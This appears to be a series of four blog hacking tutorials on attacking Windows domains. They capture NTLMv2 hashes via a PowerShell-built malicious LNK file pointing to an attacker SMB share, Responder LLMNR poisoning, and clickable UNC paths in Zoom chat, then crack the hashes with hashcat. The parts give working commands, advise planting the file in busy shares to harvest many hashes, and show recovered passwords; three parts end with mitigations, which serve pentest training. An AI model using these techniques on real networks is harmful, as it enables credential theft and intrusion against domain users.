Hacking Tutorial

Attacking Active Directory and Open File Shares: Capturing Password Hashes via Malicious LNK Files

If you’ve seen any of my other guides on attacking Active Directory, you’ll have noticed that I love using Responder or Inveigh to capture NTLMv2 hashes. In this tutorial, we’re still going to leverage these tools, but we’re going to force users to send us their hash in a bit different of a way.

Table of Contents:

  • Overview of the Attack
  • Topology of the Network
  • Performing the Attack
  • How Do We Mitigate This?

Overview of the Attack

What is it?

Using PowerShell, we’re able to create our own .lnk file that contains a poisoned icon path. By directing users to a remote SMB share as the file location of the thumbnail, we’re able to force users who access this file share to reach out and make an authentication request to a location that we control.

When can attackers use this?

This attack vector is especially useful in cases where you’ve obtained write access to a publicly accessible file share. If you can drop a specially crafted .lnk file in a location with high traffic, you should be able to capture a large number of NTLMv2 hashes for multiple users.

This can be further chained with SMB Relay attacks in the event that there are machines in the environment with SMB Signing disabled.


Topology of the Network

In our scenario, we have four machines that are all a part of the same internal network.

Windows Server 2019:

  • Acts as the domain controller.
  • Has a FQDN of king.nba.local.
  • IP address is 10.0.1.10
  • Hosts up a file share at \\King\Share

First Windows 10 Machine:

  • Joined to the nba.local domain.
  • Is used by NBA\kBryant domain user.
  • IP address is 10.0.1.11
  • O:\ drive is mapped to \\King\Share

Second Windows 10 Machine:

  • Joined to the nba.local domain.
  • Is used by NBA\kIrving domain user.
  • IP address is 10.0.1.200
  • O:\ drive is mapped to \\King\Share

Attacker Kali Linux:

  • Not domain joined.
  • IP address is 10.0.1.5

Performing the Attack

To begin, we need to first create our malicious .lnk file. Since we’ll be using PowerShell, you’ll need access to a Windows machine to generate the file, but it does not need to be domain-joined to the target network.

In a PowerShell prompt, we will create our malicious .lnk file using the following commands:

$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\Malicious.lnk")
$lnk.TargetPath = "\\<attackerIP>\@threat.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Browsing to the dir this file lives in will perform an authentication request."
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()

Once the commands are ran, it should generate a file to C:\Malicous.lnk. When a user browses to this file, the thumbnail will attempt to load an icon from \\<attackerIP>\@threat.png. This image obviously doesn’t exist, but we can leverage this connection attempt create a challenge that accepts a NTLMv2 hash.

We’ll now rename this file to include an @ symbol in the beginning and give it a less suspicious name. This will force the file to show up at the top of the file-share, which should increase the chances that users browse across it.

Finally, we’ll copy it down to the target network and drop it into a public file share.

With our file planted, let’s head over to our Kali instance, change into our Responder directory, and start up our listener. If you don’t know what this is, check out my guide on LLMNR poisoning at Abusing LLMNR/NBT-NS in Active Directory Domains: Part 1 (Capturing NTLMv2 Hashes).

cd /opt/Responder
sudo python Responder.py -I eth0

Now, let’s simulate a user browsing to this file share. From one of the domain-joined machines, we’ll navigate to the O:\ drive like a real user would do. Right away, we’re able to capture that user’s NTLMv2 hash.

This will continue until the file is removed from the server, which could allow an attacker the ability to capture a large number of NTLMv2 hashes before getting busted.


How Do We Mitigate This?

  • Egress firewall rules. If SMB connections (ports 445 and 139) are not allowed outbound, the attacker would never be able to challenge the request and capture the NTLMv2 hashes of the users.
  • Strict file share permissions. File shares should never allow for anybody to write to them. Users that need write access should be very limited in terms of which directories they can write in, and the principal of least privilege should always be followed.
  • Enforce SMB Signing. While this won’t prevent the attack from occurring, it will limit the impact. If SMB Signing is not required across the network, attackers can easily relay these hashes to authenticate to machines across the domain.
  • Strong Password Policy. Surely you know by now that this is a must-have. A strong password could make these captured hashes useless if SMB Signing is enforced and the hashes are uncrackable.

Hacking Tutorial

Abusing LLMNR/NBT-NS in Active Directory Domains: Part 2 (Cracking NTLMv2 Hashes w/ Hashcat)


Other Parts in Series:

In my first guide in this series, I showed you how to capture NTLMv2 hashes by utilizing a tool called Responder.py. You can find that here.

In this guide, I will show you how to crack those hashes using a tool called Hashcat. Hashcat works best when you run it locally on your host machine, meaning not within a Virtual Machine. For that reason, I will show you how to set things up in Windows.

Table of Contents:

  • Capturing the NTLMv2 Hashes
  • Preparing Hashcat in Windows
  • Cracking NTLMv2 Hashes w/ Hashcat: Dictionary Attack
  • Cracking NTLMv2 Hashes w/ Hashcat: Brute-Force (Mask) Attack
  • Restoring a Hashcat Session

Capturing the NTLMv2 Hashes

As we covered previously in Part One, I was able to capture the Net-NTLMv2 hashes for multiple users in the domain.

Let’s take these hashes and store them into a text file titled hashes.txt. Since I’m going to crack these hashes from my local machine (running Windows), I’ll create the text file there.

With hashes in hand, let’s go out and grab the tool we need to crack them!


Preparing Hashcat in Windows

Open up Google and search for Hashcat Windows. You should be taken to https://hashcat.net/hashcat/

Locate the latest Binary and click on Download.

Navigate to your downloads and Extract the contents of the file.
Note: You will need 7-Zip installed.

I like to Cut and Paste this extracted folder to my C:\ drive & then Rename it to make it easier to access.

I also like to rename the hashcat64.exe file to just hashcat.exe so I don’t have to remember to specify 64, but this is totally up to you.

You’ll want to make sure you have a Wordlist available on your filesystem. You don’t have to store it within the Hashcat folder, but doing so will make your command a bit easier when we’re ready to run the tool.

I transferred rockyou.txt from my Kali box and pasted that into the c:\hashcat\ folder

Let’s also make sure our captured hashes.txt are in this location.


Cracking NTLMv2 Hashes w/ Hashcat: Dictionary Attack

If you’ve never used Hashcat before, I’d highly recommend checking out their website or reading up on the help output.

For our use case, this is the command that we’re going to run.

hashcat.exe -a 0 -m 5600 hashes.txt rockyou.txt -o cracked.txt -O

So what does this do? Let’s break it down.

  • -a is for the attack type. 0 is used to specify we’re performing a dictionary attack.
  • -m is used to specify what type of hashes we’re looking to crack. Hashcat supports cracking dozens of different hash-types, so you’ll typically want to refer to their help documentation to know exactly which number to use. In our case, NTLMv2 hashes are represented by 5600
  • hashes.txt is a positional parameter. Hashcat expects you to place the name of the file containing your hashes first, which is what we’re doing here.
  • rockyou.txt is another positional parameter. Hashcat expects the name of the file that you wish to use for your dictionary attack.
  • -o is used to specify an output file. This is where we’d like the cracked passwords to be stored. If you don’t specify this flag, cracked passwords will be stored in a file called hashcat.potfile, which can be found in the hashcat directory.
  • -O is used to optimize the attack for the hardware running in our system. You may not need to use this.

Now that we understand the command, let’s change into our hashcat directory and see if we can crack our hashes! Open up a Command Prompt window and enter the following commands:

cd c:\hashcat
hashcat.exe -a 0 -m 5600 hashes.txt rockyou.txt -o cracked.txt -O

Depending on your system, it may take a few minutes for the wordlist to be exhausted. Eventually, you should be able to view the results and see how many (if any) hashes were “Recovered”. In my case, we were able to recover two out of the three passwords.

Let’s view the contents of our output file.

type cracked.txt

The results show us two users part of the NBA domain, along with their associated credentials.

nba\kIrving:Password123
nba\lJames:P@55w0rd


Cracking NTLMv2 Hashes w/ Hashcat: Brute-Force (Mask) Attack

So what about that third password? Well we could continue to try a dictionary attack w/ other wordlists, but if the password is short, we should be able to brute-force it fairly quick. Let’s give this a shot by revisiting the command we used before, but make a couple slight changes.

hashcat.exe -a 3 -m 5600 hashes.txt -1 ?l?d?u ?1?1?1?1?1?1?1 -o cracked.txt -O

Did you notice what’s different? We changed -a to 3 instead of 0. This specifies that we’re looking to brute-force the password instead of perform a dictionary attack.

We also dropped the rockyou.txt wordlist since we no longer need it and replaced it with -1 ?l?d?u ?1?1?1?1?1?1?1. Why did we do this? I’d highly recommend reviewing Hashcat’s documentation on mask attacks, but let’s try to understand this by breaking it into two parts.

Explaining -1 ?l?d?u
-1 is used to define a custom character-set with a value of ?1. Within ?1, we’re storing the following:

  • ?l is used to specify all lowercase letters in the alphabet.
  • ?d is used to specify all number digits.
  • ?u is used to specify all uppercase letters in the alphabet.

Explaining ?1?1?1?1?1?1?1
Now that ?1 is defined, we’re going to specify it seven times to indicate that we’re looking to crack a seven character password that could contain a lowercase/uppercase/number in any/all positions.

Okay, let’s run the command now and see what happens.

Eventually we’ll crack this password and be able to view it within our cracked.txt file as well.


Restoring a Hashcat Session

Since brute-force jobs can take a long time to process, it’s important to know about the --restore option. By default, Hashcat will store your job in a session that you can call on later. You can resume your interrupted session by running the following command:

hashcat.exe --restore

There’s a ton more information about Hashcat checkpoints in a blog post found over at https://miloserdov.org/?p=2089, but the above command may be the most useful if you’re just looking to recover from an unexpected closed session.


That’s it for this one! By now, you should know how to capture and crack weak credentials by simply having access to an Active Directory environment. But what happens when we’re unable to crack these passwords? Stay tuned for Part 3 to discuss NLTMv2-Relay attacks!

Hacking Tutorial

Abusing Zoom Webinar/Meeting Software to Steal Windows Credentials

A vulnerability exists within Zoom with the way that it handles UNC paths in its chat feature. UNC (Universal Naming Convention) paths are used by computer systems to reference network resources and typically look like the following:

\\computer\share

As you can see from the above text, this path is listed out in this blog post as text, but isn’t a clickable link. The vulnerability that exists in Zoom is the fact that these paths are clickable links that will automatically attempt to take users that click on them to the share, whether it exists or not.

Why is this a problem? Most webinars/meetings in Zoom will allow all attendees to type in the chat. This would allow a nefarious actor to place a malicious UNC path into the chat and direct users to interact with it.

The exploit we’re going to use isn’t new. In fact, I’ve already written about it in a previous blog post! I highly recommend that you check it out, as I’m not going to go as in depth as I did in that post; Abusing LLMNR/NBT-NS in Active Directory Domains: Part 1 (Capturing NTLMv2 Hashes).

Table of Contents:

  • Performing the attack
  • But wait.. You need local network access?
  • Mitigation Strategies

Performing the attack

To begin, let’s ensure our Responder tool is configured with all servers on.

sudo gedit /opt/Responder/Responder.conf

With all servers active, let’s go ahead and Run Responder on our primary interface (note yours may differ depending on your environment).
sudo python Responder.py -I eth0

So what’s happening here? Responder.py is listening for all incoming requests in the three listed Poisoners (LLMNR, NBT-NS, DNS/MDNS).

Why does this matter? Computers will send their username & passwords (in hashed format) to any SMB shares when trying to connect. They do this by design so that the SMB server can determine whether or not the user is allowed to access this share.

What do we need to do? Now we just need a way to get machines to reach out and request to connect to a server of ours, such as an SMB share. If only there was a way to share a clickable link to a SMB share with multiple users all at once.. Enter Zoom!

From within a Zoom webinar/meeting, let’s go ahead and place a UNC path to see the vulnerability in action.

As you can see, the path lights up and is clickable. With Responder.py running on our attacking machine, let’s go ahead and click the link from the victim machine. Clicking the link from the victim machine doesn’t appear to do anything at all, but let’s check the output of our Responder.py window..

Check it out, we’ve got a NTLMv2 hash along with its username. From here, we could utilize additional tools to relay this hash to other machines on the network or even crack it to obtain the password in clear-text. Tutorials on these topics are coming in the future.

Note: This above example is abusing LLMNR in the network in order for Responder.py to receive the request. This is because the share \\infinitelogins\share doesn’t actually exist. If LLMNR is disabled in the network, a UNC path that directly points to the attacking machine is necessary.


But wait.. You need local network access?

Everything I’ve shown you up to this point DOES require that your attacking machine is on the same local network as the victims. With that said, it is possible to leverage this same technique to have machines connect to a publically routable address that is running Responder.py (assuming that SMB is allowed out of your network and over your internet provider).


Mitigation Strategies

Don’t allow everybody to chat within Zoom. You should be able to limit chat capabilities to specific users of panelists-only. If a UNC share can’t be shared, the exploit can’t take place.

Perform egress filtering on port 445. If outbound SMB requests are denied in your network, or at the gateway, Responder.py will never see the request come in and will never ask for the machine’s NTLM credentials.

Educate users. User awareness training will help prevent attacks like this along with other common phishing techniques. If users know what not to click on, they won’t click.

Disable LLMNR/NBT-NS. You should really just disable LLMNR in your network for a number of reasons, but this won’t prevent the attack if the UNC path provided in the chat points directly to the attacking box. It will stop the attack if the share entered within the chat window doesn’t exist however.

Hacking Tutorial, Pentesting

Abusing LLMNR/NBT-NS in Active Directory Domains: Part 1 (Capturing NTLMv2 Hashes)


Other Parts in Series:

Welcome to Part 1 of this series. As each part gets released, we’ll dive deeper and deeper into the joys of LLMNR poisoning and I’ll demonstrate just how easy it makes the life of an attacker when this default legacy protocol is still running in your environment.

By the end of this series, you will be able to pivot across an ENTIRE poorly configured domain with SYSTEM-level access.

Part 1 Table of Contents:

  • What is LLMNR & NBT-NS?
  • Brief Explanation of the Exploit
  • Downloading and Installing Responder
  • Capturing NTLMv2 Hashes w/ Responder

What is LLMNR & NBT-NS?

Crowe.com does a fantastic job at giving you a high-level overview of what NetBIOS & link-local multicast name resolution do. Instead of reinventing the wheel, I will simply provide an excerpt from their website below.

“NetBIOS and LLMNR are protocols used to resolve host names and facilitate communication between hosts on local networks. NetBIOS is generally outdated and can be used to communicate with legacy systems. LLMNR is designed for consumer-grade networks in which a domain name system (DNS) server might not exist.”

If none of this sounds familiar, I highly recommend checking out the below link and reading more about these protocols before moving on.

https://www.crowe.com/cybersecurity-watch/netbios-llmnr-giving-away-credentials


Great! So how can I exploit this?

When a computer requests access to a legitimate network resource, it usually follows a set of pre-defined queries. LLMNR and NetBIOS come into play as last resort options when other methods (such as DNS or local hosts files) don’t prove helpful. Since LLMNR & NetBIOS will attempt name resolution via broadcasted requests to the broadcast-domain, we can set up tools to listen for these requests and respond back pretending to be the intended recipient.

Name Resolution Response Attack

Downloading & Installing Responder

Navigate to the following GitHub page and Copy the clone URL.
https://github.com/lgandx/Responder/

Navigate to your /opt folder and Download the tool using git.
cd /opt
sudo git clone https://github.com/lgandx/Responder.git


Poisoning Requests With Responder to Capture NTLMv2 Hashes

Now that we have our tools set up. Let’s take a deeper look at Responder.
cd /opt/Responder
ls

We see a handful of files, including Responder.conf (the configuration file) and Responder.py (the script used to perform the exploit). Let’s take a closer look at Responder.conf.
gedit Responder.conf

So there’s a lot going on in here, but I just wanted to make you aware of the section titled Servers to Start. This is where we can configure which servers we’d like Responder to spin up to perform the exploit. We won’t actually make any changes in here just yet, just know that this conf file is very important and will be brought up in the future.

With all servers active, let’s go ahead and Run Responder on our primary interface (note yours may differ depending on your environment).
sudo python Responder.py -I eth0

So what’s happening here? Responder is listening for all incoming requests in the three listed Poisoners (LLMNR, NBT-NS, DNS/MDNS). If any devices on the network need a hand resolving a hostname, fileshare, etc. they will send a broadcast out to the entire network. With this tool running, we will be able to ‘Respond’, pretending to be that destination server. From there, the device will reply back with its NTLMv2 Hash as it attempts to authenticate to the resource.

You’ll get the most responses back on a busy network with many devices in use. I’ve also found that we will get a lot of results during the beginning of shifts or once users return from lunch breaks. If you have enough patience, you should receive a response pretty soon. If you don’t have patience, then let’s see if we can force a LLMNR request..

From a Windows machine on the network, launch a File Explorer window, and attempt to Browse to a fileshare that doesn’t exist.
\\infinitelogins

Within just a few moments, Responder is able to capture my NTLMv2 Hash.


That’s it for this post! Next up, I’ll be showing you what you can do with these hashes to pivot onto other machines or even score a reverse shell. In the mean-time, let me know what you thought of this and whether or not it has been helpful!